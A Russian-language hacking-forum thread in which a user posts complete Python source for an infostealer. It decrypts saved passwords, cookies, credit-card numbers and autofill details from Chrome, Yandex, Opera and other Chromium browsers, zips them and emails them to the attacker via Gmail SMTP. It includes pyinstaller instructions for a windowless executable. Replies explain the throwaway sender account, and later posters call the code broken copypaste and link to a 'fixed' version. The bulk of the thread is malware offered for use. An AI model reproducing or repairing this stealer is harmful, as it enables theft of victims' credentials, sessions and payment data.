Стиллер паролей с отправкой на почту

mr.Amerika

Новичок
Статус
offline
Регистрация
19.06.2019
Сообщения
0
Репутация
3
Копипаст
stiller_paroley_dlya_brauzerov.jpg


Данный стиллер ворует догины и пароли, только с Хромиум подобных браузеров!
Для написания потребуется Python 3+ версии | Скачать
Для компиляции:
pyinstaller --onefile --icon=вашаИконка.ico --noconsole xpom.py
Установа pyinstaller
pip install pyinstaller
Автор и создатели данного сайта не несут никакой ответственности за использование ресурсов доступных в этой статье.
Вся информация дана исключительно в информационных целях.
Начинаем кодить:
Создаем файл dpapi.py
Python:
import os
from ctypes.wintypes import *
from ctypes import *
 
 
LPTSTR = LPSTR
LPCTSTR = LPSTR
PHANDLE = POINTER(HANDLE)
HANDLE = LPVOID
LPDWORD = POINTER(DWORD)
PVOID = c_void_p
INVALID_HANDLE_VALUE = c_void_p(-1).value
NTSTATUS = ULONG()
PWSTR = c_wchar_p
LPWSTR = c_wchar_p
PBYTE = POINTER(BYTE)
LPBYTE = POINTER(BYTE)
PSID = PVOID
LONG = c_long
WORD = c_uint16
CRYPTPROTECT_UI_FORBIDDEN = 0x01
CRED_TYPE_GENERIC = 0x1
CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4
HKEY_CURRENT_USER = -2147483647
HKEY_LOCAL_MACHINE = -2147483646
KEY_READ = 131097
KEY_ENUMERATE_SUB_KEYS = 8
KEY_QUERY_VALUE = 1
ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE
PROCESS_QUERY_INFORMATION = 0x0400
STANDARD_RIGHTS_REQUIRED = 0x000F0000
READ_CONTROL = 0x00020000
STANDARD_RIGHTS_READ = READ_CONTROL
TOKEN_ASSIGN_PRIMARY = 0x0001
TOKEN_DUPLICATE = 0x0002
TOKEN_IMPERSONATE = 0x0004
TOKEN_QUERY = 0x0008
TOKEN_QUERY_SOURCE = 0x0010
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_ADJUST_GROUPS = 0x0040
TOKEN_ADJUST_DEFAULT = 0x0080
TOKEN_ADJUST_SESSIONID = 0x0100
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
tokenprivs = (TOKEN_QUERY | TOKEN_READ |
              TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE |
              TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY |
              (131072 | 4))
 
TOKEN_ALL_ACCESS = (
                    STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
                    TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
                    TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
                    TOKEN_ADJUST_SESSIONID
                    )
 
 
class CREDENTIAL_ATTRIBUTE(Structure):
    _fields_ = [
        ('Keyword', LPSTR),
        ('Flags', DWORD),
        ('ValueSize', DWORD),
        ('Value', LPBYTE)
    ]
PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE)
 
 
class CREDENTIAL(Structure):
    _fields_ = [
        ('Flags', DWORD),
        ('Type', DWORD),
        ('TargetName', LPSTR),
        ('Comment', LPSTR),
        ('LastWritten', FILETIME),
        ('CredentialBlobSize', DWORD),
        ('CredentialBlob', POINTER(c_char)),
        ('Persist', DWORD),
        ('AttributeCount', DWORD),
        ('Attributes', PCREDENTIAL_ATTRIBUTE),
        ('TargetAlias', LPSTR),
        ('UserName', LPSTR)
    ]
PCREDENTIAL = POINTER(CREDENTIAL)
 
 
class DATA_BLOB(Structure):
    _fields_ = [
        ('cbData', DWORD),
        ('pbData', POINTER(c_char))
    ]
 
 
class GUID(Structure):
    _fields_ = [
        ("data1", DWORD),
        ("data2", WORD),
        ("data3", WORD),
        ("data4", BYTE * 6)
    ]
LPGUID = POINTER(GUID)
 
 
class VAULT_CREDENTIAL_ATTRIBUTEW(Structure):
    _fields_ = [
        ('keyword', LPWSTR),
        ('flags', DWORD),
        ('badAlign', DWORD),
        ('valueSize', DWORD),
        ('value', LPBYTE),
    ]
PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW)
 
 
class VAULT_BYTE_BUFFER(Structure):
    _fields_ = [
        ('length', DWORD),
        ('value', PBYTE),
    ]
 
 
class DATA(Structure):
    _fields_ = [
        ('guid', GUID),
        ('string', LPWSTR),
        ('byteArray', VAULT_BYTE_BUFFER),
        ('protectedArray', VAULT_BYTE_BUFFER),
        ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW),
        ('sid', DWORD)
    ]
 
 
class Flag(Structure):
    _fields_ = [
        ('0x00', DWORD),
        ('0x01', DWORD),
        ('0x02', DWORD),
        ('0x03', DWORD),
        ('0x04', DWORD),
        ('0x05', DWORD),
        ('0x06', DWORD),
        ('0x07', DWORD),
        ('0x08', DWORD),
        ('0x09', DWORD),
        ('0x0a', DWORD),
        ('0x0b', DWORD),
        ('0x0c', DWORD),
        ('0x0d', DWORD)
    ]
 
 
class VAULT_ITEM_DATA(Structure):
    _fields_ = [
        ('data', DATA),
    ]
PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA)
 
 
class VAULT_ITEM_WIN8(Structure):
    _fields_ = [
        ('id', GUID),
        ('pName', PWSTR),
        ('pResource', PVAULT_ITEM_DATA),
        ('pUsername', PVAULT_ITEM_DATA),
        ('pPassword', PVAULT_ITEM_DATA),
        ('unknown0', PVAULT_ITEM_DATA),
        ('LastWritten', FILETIME),
        ('Flags', DWORD),
        ('cbProperties', DWORD),
        ('Properties', PVAULT_ITEM_DATA),
    ]
PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8)
 
 
class OSVERSIONINFOEXW(Structure):
    _fields_ = [
        ('dwOSVersionInfoSize', c_ulong),
        ('dwMajorVersion', c_ulong),
        ('dwMinorVersion', c_ulong),
        ('dwBuildNumber', c_ulong),
        ('dwPlatformId', c_ulong),
        ('szCSDVersion', c_wchar*128),
        ('wServicePackMajor', c_ushort),
        ('wServicePackMinor', c_ushort),
        ('wSuiteMask', c_ushort),
        ('wProductType', c_byte),
        ('wReserved', c_byte)
    ]
 
 
class CRYPTPROTECT_PROMPTSTRUCT(Structure):
    _fields_ = [
        ('cbSize', DWORD),
        ('dwPromptFlags', DWORD),
        ('hwndApp', HWND),
        ('szPrompt', LPCWSTR),
    ]
PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT)
 
 
class LUID(Structure):
    _fields_ = [
        ("LowPart", DWORD),
        ("HighPart", LONG),
    ]
PLUID = POINTER(LUID)
 
 
class SID_AND_ATTRIBUTES(Structure):
    _fields_ = [
        ("Sid", PSID),
        ("Attributes", DWORD),
    ]
 
 
class TOKEN_USER(Structure):
    _fields_ = [
        ("User", SID_AND_ATTRIBUTES),]
 
 
class LUID_AND_ATTRIBUTES(Structure):
    _fields_ = [
        ("Luid", LUID),
        ("Attributes", DWORD),
    ]
 
 
class TOKEN_PRIVILEGES(Structure):
    _fields_ = [
        ("PrivilegeCount", DWORD),
        ("Privileges", LUID_AND_ATTRIBUTES),
    ]
PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
 
 
class SECURITY_ATTRIBUTES(Structure):
    _fields_ = [
        ("nLength", DWORD),
        ("lpSecurityDescriptor", LPVOID),
        ("bInheritHandle", BOOL),
    ]
PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
 
 
advapi32     = WinDLL('advapi32', use_last_error=True)
crypt32      = WinDLL('crypt32', use_last_error=True)
kernel32     = WinDLL('kernel32', use_last_error=True)
 
 
RevertToSelf = advapi32.RevertToSelf
RevertToSelf.restype = BOOL
RevertToSelf.argtypes = []
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser
ImpersonateLoggedOnUser.restype = BOOL
ImpersonateLoggedOnUser.argtypes = [HANDLE]
DuplicateTokenEx = advapi32.DuplicateTokenEx
DuplicateTokenEx.restype = BOOL
DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)]
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges
AdjustTokenPrivileges.restype = BOOL
AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)]
LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA
LookupPrivilegeValueA.restype = BOOL
LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID]
ConvertSidToStringSidA = advapi32.ConvertSidToStringSidA
ConvertSidToStringSidA.restype = BOOL
ConvertSidToStringSidA.argtypes = [DWORD, POINTER(LPTSTR)]
LocalAlloc = kernel32.LocalAlloc
LocalAlloc.restype = HANDLE
LocalAlloc.argtypes = [PSID, DWORD]
GetTokenInformation = advapi32.GetTokenInformation
GetTokenInformation.restype = BOOL
GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)]
OpenProcess = kernel32.OpenProcess
OpenProcess.restype = HANDLE
OpenProcess.argtypes = [DWORD, BOOL, DWORD]
OpenProcessToken = advapi32.OpenProcessToken
OpenProcessToken.restype = BOOL
OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
CloseHandle = kernel32.CloseHandle
CloseHandle.restype = BOOL
CloseHandle.argtypes = [HANDLE]
CredEnumerate = advapi32.CredEnumerateA
CredEnumerate.restype = BOOL
CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))]
CredFree = advapi32.CredFree
CredFree.restype = PVOID
CredFree.argtypes = [PVOID]
memcpy = cdll.msvcrt.memcpy
memcpy.restype = PVOID
memcpy.argtypes = [PVOID]
LocalFree = kernel32.LocalFree
LocalFree.restype = HANDLE
LocalFree.argtypes = [HANDLE]
CryptUnprotectData = crypt32.CryptUnprotectData
CryptUnprotectData.restype = BOOL
CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)]
 
 
try:
    prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID))
    vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli))
 
    prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE)
    vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli))
 
    prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p))
    vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli))
 
    prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN8))
    vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli))
 
    prototype = WINFUNCTYPE(ULONG, LPVOID)
    vaultFree = prototype(("VaultFree", windll.vaultcli))
 
    prototype = WINFUNCTYPE(ULONG, PHANDLE)
    vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli))
except:
    pass
 
 
def getData(blobOut):
    cbData = int(blobOut.cbData)
    pbData = blobOut.pbData
    buffer = c_buffer(cbData)
    
    memcpy(buffer, pbData, cbData)
    LocalFree(pbData);
    return buffer.raw
 
 
def isx64machine():
    archi = os.environ.get("PROCESSOR_ARCHITEW6432", '')
    if '64' in archi:
        return True
 
    archi = os.environ.get("PROCESSOR_ARCHITECTURE", '')
    if '64' in archi:
        return True
 
    return False
 
 
isx64 = isx64machine()
 
 
def OpenKey(key, path, index=0, access=KEY_READ):
    if isx64:
        return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY)
    else:
        return winreg.OpenKey(key, path, index, access)
 
 
def Win32CryptUnprotectData(cipherText, entropy=None):
    bufferIn = c_buffer((cipherText), len(cipherText))
    blobIn = DATA_BLOB(len(cipherText), bufferIn)
    blobOut = DATA_BLOB()
 
    if entropy:
        bufferEntropy = c_buffer(entropy, len(entropy))
        blobEntropy = DATA_BLOB(len(entropy), bufferEntropy)
 
        if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)):
            return (getData(blobOut))
        else:
            return (False)
    
    else:
        if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)):
            return (getData(blobOut))
        else:
            return (False)

Создаем файл helpers.py
Python:
import sys
import urllib.request
import os
import zipfile
 
import win32com.client
import requests
 
 
def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file))
 
def get_os_version():
    os_version = OSVERSIONINFOEXW()
    os_version.dwOSVersionInfoSize = sizeof(os_version)
    retcode = windll.Ntdll.RtlGetVersion(byref(os_version))
    if retcode != 0:
        return False
    return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real))
 
 
def checkurl(url):
    try:
        urllib.request.urlopen(url)
        return True
    except Exception as e:
        return False
 
 
def check_exists(file):
    if os.path.exists(file):
        return True
    else:
        return False
 
 
def lnktrgt(lnk):
    shell = win32com.client.Dispatch("WScript.Shell")
    shortcut = shell.CreateShortCut(lnk)
    return(shortcut.Targetpath)

Создаем файл xpom.py
Python:
import sqlite3, socket, smtplib, sys, os, winreg, zipfile, string, random, getpass, socket, shutil
from re import findall
from shutil import copy2
from helpers import *
from dpapi import Win32CryptUnprotectData
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
 
#тут нужно именно джэмэйл, либо переписывайте 274 строку на ваш сервер
sender = 'ваш джэмэйл@gmail.com'
gmail_password = 'тупа пароль'
recipients = ['куда отправить@gmail.com']
 
COMMASPACE = ', '
 
#====================================#
#             переменные             #
#====================================#
 
 
pathusr = os.path.expanduser('~')
 
 
browser_chrome = {   
        'google_chrome': pathusr + "\\AppData\\Local\\Google\\Chrome\\User Data\\",
        'google_chromex86': pathusr + "\\AppData\\Local\\Google (x86)\\Chrome\\User Data\\",
        'vivaldi': pathusr + "\\AppData\\Local\\Vivaldi\\User Data\\",
        'opera': pathusr + "\\AppData\\Roaming\\Opera Software\\",
        'kometa': pathusr + "\\AppData\\Local\\Kometa\\User Data\\",
        'orbitum': pathusr + "\\AppData\\Local\\Orbitum\\User Data\\",
        'comodo_dragon': pathusr + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\",
        'amigo': pathusr + "\\AppData\\Local\\Amigo\\User\\User Data\\",
        'torch': pathusr + "\\AppData\\Local\\Torch\\User Data\\",
        'yandex': pathusr + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\",
        'comodo': pathusr + "\\AppData\\Local\\Comodo\\User Data\\",
        '360br': pathusr + "\\AppData\\Local\\360Browser\\Browser\\User Data\\",
        'maxtron': pathusr + "\\AppData\\Local\\Maxthon3\\User Data\\",
        'kmelon': pathusr + "\\AppData\\Local\\K-Melon\\User Data\\",
        'chromium': pathusr + "\\AppData\\Local\\Chromium\\User Data\\",
        'sputnik': pathusr + "\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\",
        'nichrome': pathusr + "\\AppData\\Local\\Nichrome\\User Data\\",
        'coccoc': pathusr + "\\AppData\\Local\\CocCoc\\Browser\\User Data\\",
        'uran': pathusr + "\\AppData\\Local\\Uran\\User Data\\",
        'chromodo': pathusr + "\\AppData\\Local\\Chromodo\\User Data\\",
                }
 
 
profiles_chrome = {
        'profile1': 'Profile 1\\',
        'profile2': 'Profile 2\\',
        'profile3': 'Profile 3\\',
        'default': 'Default\\',
        'opera': 'Opera Stable\\'
                }
 
 
db  = pathusr + "\\db1"
db2 = pathusr + "\\db2"
db3 = pathusr + "\\db3"
 
 
#====================================#
#               функции              #
#====================================#
 
 
def login_chrome(file):
    count = 0
    logindata = "============логины=============\r\n"
    copy2(file, db)
    con = sqlite3.connect(db)
    cursor = con.cursor()
    cursor.execute("SELECT origin_url, username_value, password_value from logins;")
    for origin_url, username_value, password_value in cursor.fetchall():
        password = Win32CryptUnprotectData(password_value).decode("utf-8")
        if password is not False:
            if origin_url is not '':
                logindata += 'САЙТ : ' + str(origin_url) + '\r\n'
            if username_value is not '':
                logindata += 'ЛОГ  : ' + str(username_value)  + '\r\n'
            if password_value is not '':
                logindata += 'ПАСС : ' + str(password) + '\r\n\r\n'
                count += 1
    return(count, logindata)
 
 
def cook_chrome(file):
    count = 0
    cookdata = "============печени=============\r\n"
    copy2(file, db2)
    con = sqlite3.connect(db2)
    cursor = con.cursor()
    cursor.execute("SELECT host_key, name, value, path, last_access_utc, encrypted_value \
        FROM cookies;")
    for host_key, name, value, path, last_access_utc, encrypted_value in cursor.fetchall():
        decrypted = Win32CryptUnprotectData(encrypted_value).decode("utf-8") or value or 0
        if decrypted is not False:
            cookdata += str(host_key) + "\tTRUE\t" + "/" + '\tFALSE\t' + str(last_access_utc) + '\t' + \
            str(name) + '\t' + str(decrypted) + '\n'
            count += 1
    return(count, cookdata)
 
 
def web_chrome(file):
    count = 0
    webdata = "============деньги=============\r\n"
    copy2(file, db3)
    con = sqlite3.connect(db3)
    cursor = con.cursor()
    cursor.execute("SELECT name_on_card, expiration_month, expiration_year,\
     card_number_encrypted, billing_address_id FROM credit_cards;")
    for name_on_card, expiration_month, expiration_year,\
    card_number_encrypted, billing_address_id in cursor.fetchall():
        decrypted = Win32CryptUnprotectData(card_number_encrypted).decode("utf-8")
        if decrypted is not False:
            if name_on_card is not '':
                webdata += 'ИМЯ КАРТХОЛДЕРА: ' + name_on_card + '\r\n'
            if expiration_month is not '':
                webdata += 'МЕСЯЦ: ' + expiration_month + '\r\n'
            if expiration_year is not '':
                webdata += 'ГОД: ' + expiration_year + '\r\n'
            if card_number_encrypted is not '':
                webdata += 'НОМЕР КАРТЫ: ' + decrypted + '\r\n'
            if billing_address_id is not '':
                webdata += 'БИЛЛИНГ: ' + billing_address_id + '\r\n\r\n'
 
 
    cursor.execute("SELECT guid, company_name, street_address,\
     dependent_locality, city, state, zipcode, sorting_code,\
     country_code, date_modified, origin, language_code,\
     use_count, use_date, validity_bitfield FROM autofill_profiles")
 
    for company_name, street_address,\
     dependent_locality, city, state, zipcode, sorting_code,\
     country_code, date_modified, origin, language_code,\
     use_count, use_date, validity_bitfield in cursor.fetchall():
        webdata += "============информ=============\r\n"
        if company_name is not '':
            webdata += company_name + '\r\n'
        if street_address is not '':
            webdata += street_address + '\r\n'
        if dependent_locality is not '':
            webdata += dependent_locality + '\r\n'
        if city is not '':
            webdata += city + '\r\n'
        if state is not '':
            webdata += state + '\r\n'
        if zipcode is not '':
            webdata += zipcode + '\r\n'
        if sorting_code is not '':
            webdata += sorting_code + '\r\n'
        if country_code is not '':
            webdata += country_code + '\r\n'
        if date_modified is not '':
            webdata += date_modified + '\r\n'
        if origin is not '':
            webdata += origin + '\r\n'
        if language_code is not '':
            webdata += language_code + '\r\n'
        if use_count is not '':
            webdata += use_count + '\r\n'
        if use_date is not '':
            webdata += use_date + '\r\n'
        if validity_bitfield is not '':
            webdata += validity_bitfield + '\r\n'
        if company_name is not '':
            count += 1
            webdata += '\r\n\r\n'
 
 
    cursor.execute("SELECT email FROM autofill_profile_emails")
    for email in cursor.fetchall():
        webdata += "============имейлы=============\r\n"
        if email is not '':
            webdata += email + '\r\n'
            count += 1
 
 
    cursor.execute("SELECT first_name, middle_name, last_name,\
     full_name FROM autofill_profile_names")
    for first_name, middle_name, last_name, full_name in cursor.fetchall():
        webdata += "============деанон=============\r\n"
        if first_name is not '':
            webdata += first_name + '\r\n'
        if middle_name is not '':
            webdata += middle_name + '\r\n'
        if last_name is not '':
            webdata += last_name + '\r\n'
        if full_name is not '':
            webdata += full_name + '\r\n'
            count += 1
 
    return(count, webdata)
 
def getXpom(savefolder):
    countpass, countcook, countdata = 0, 0, 0
    for browser_key, browser_folder in browser_chrome.items():
        if check_exists(browser_folder):
            for profile_key, profile_folder in profiles_chrome.items():
                if check_exists(browser_folder+profile_folder):
                    if check_exists(browser_folder+profile_folder+"\\Login Data"):
                        try:
                            countpass, logindata = login_chrome(browser_folder+profile_folder+"\\Login Data")
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_logins.txt', "w")\
                             as file:
                                file.write(logindata)
                        except Exception as e:
                            countpass += 0
 
                    if check_exists(browser_folder+profile_folder+"\\Cookies"):
                        try:
                            countcook, cookdata = cook_chrome(browser_folder+profile_folder+"\\Cookies")
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_cookie.txt', "w")\
                             as file:
                                file.write(cookdata)
                        except Exception as e:
                            countcook += 0
 
                    if check_exists(browser_folder+profile_folder+"\\Web Data"):
                        try:
                            countdata, webdata = web_chrome(browser_folder+profile_folder+"\\Web Data")
                            with open(savefolder + '\\' + browser_key+"_"+profile_key+'_ccdata.txt', "w")\
                             as file:
                                file.write(webdata)
                        except Exception as e:
                            countdata += 0
    
    return(countpass, countcook, countdata)
 
if __name__ == '__main__':
    name_0f_user = getpass.getuser()
    name_0f_pc = socket.gethostname()
 
    browsers = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\browsers" + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(15))
    if not check_exists(browsers):
        os.mkdir(browsers)
    getXpom(browsers)
    #print(browsers)
 
    TEMP_FILE = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Temp\\" + name_0f_user + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".zip"
    #print(TEMP_FILE)
    zipf = zipfile.ZipFile(TEMP_FILE, 'w', zipfile.ZIP_DEFLATED)
    zipdir(browsers, zipf)
    zipf.close()
    
    # Create the enclosing (outer) message
    outer = MIMEMultipart()
    outer['Subject'] = 'Stiller {} {}'.format(name_0f_user, name_0f_pc)
    outer['To'] = COMMASPACE.join(recipients)
    outer['From'] = sender
    outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
    
    # List of attachments
    attachments = [TEMP_FILE]
    
    # Add the attachments to the message
    for file in attachments:
        try:
            with open(file, 'rb') as fp:
                msg = MIMEBase('application', "octet-stream")
                msg.set_payload(fp.read())
            encoders.encode_base64(msg)
            msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
            outer.attach(msg)
        except:
            print("Unable to open one of the attachments. Error: ", sys.exc_info()[0])
            raise
    
    composed = outer.as_string()
    
    # Send the email
    try:
        with smtplib.SMTP('smtp.gmail.com', 587) as s:
            s.ehlo()
            s.starttls()
            s.ehlo()
            s.login(sender, gmail_password)
            s.sendmail(sender, recipients, composed)
            s.close()
        print("Email sent!")
    except:
        print("Unable to send the email. Error: ", sys.exc_info()[0])
        raise
 
    try:
        os.remove(TEMP_FILE)
        shutil.rmtree(browsers)
    except OSError:
        pass
 

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433
Ну так то любопытно. почта тип джемайл нужна. Но вот нахуя пароль?
 

Вудеркид

Эксперт
Статус
offline
Регистрация
10.03.2017
Сообщения
354
Репутация
341
Ну так то любопытно. почта тип джемайл нужна. Но вот нахуя пароль?
Указываешь почту и пароль с которой будет осуществляться отправка на твою почту

Код:
sender = 'ваш джэмэйл@gmail.com' #Типа сюда левую почту любую, новую зарегать, например
gmail_password = 'тупа пароль'   #И пароль от нее
recipients = ['куда отправить@gmail.com'] # а это может быть твоя основа, куда логи придут
 

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433
Указываешь почту и пароль с которой будет осуществляться отправка на твою почту

Код:
sender = 'ваш джэмэйл@gmail.com' #Типа сюда левую почту любую, новую зарегать, например
gmail_password = 'тупа пароль'   #И пароль от нее
recipients = ['куда отправить@gmail.com'] # а это может быть твоя основа, куда логи придут
а бля,вон какая задумка,все,тогда понял
 

nofuture

Местный
Статус
offline
Регистрация
23.07.2019
Сообщения
24
Репутация
59
годная тема) вообще бы тем побольше с примерами использования ЯП)
 

mr.Amerika

Новичок
Статус
offline
Регистрация
19.06.2019
Сообщения
0
Репутация
3

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433
Указываешь почту и пароль с которой будет осуществляться отправка на твою почту

Код:
sender = 'ваш джэмэйл@gmail.com' #Типа сюда левую почту любую, новую зарегать, например
gmail_password = 'тупа пароль'   #И пароль от нее
recipients = ['куда отправить@gmail.com'] # а это может быть твоя основа, куда логи придут
вот после компеляции вылетает ошибка
 

Вудеркид

Эксперт
Статус
offline
Регистрация
10.03.2017
Сообщения
354
Репутация
341

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433
63850
 

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433

N1GGA

Местный
Статус
offline
Регистрация
12.04.2019
Сообщения
1
Репутация
76
/del
 
Последнее редактирование:

Rain

Эксперт
Статус
offline
Регистрация
30.07.2018
Сообщения
529
Репутация
433
не работает короче. код корявый
 

N1GGA

Местный
Статус
offline
Регистрация
12.04.2019
Сообщения
1
Репутация
76
ТС, лучше удали тему и не позорься. Тупой копипаст тупого копипаста, очевидно что ты даже не удосужился проверить код на работоспособность, а сразу срыгнул этот мусор сюда.
UPD: Я починил код, скоро создам тему.
UPD2: Тема готова:
https://dark2web.info/threads/101383
UPD3: ТС отредачил тему и написал что это копипаст xdd.
 
Последнее редактирование: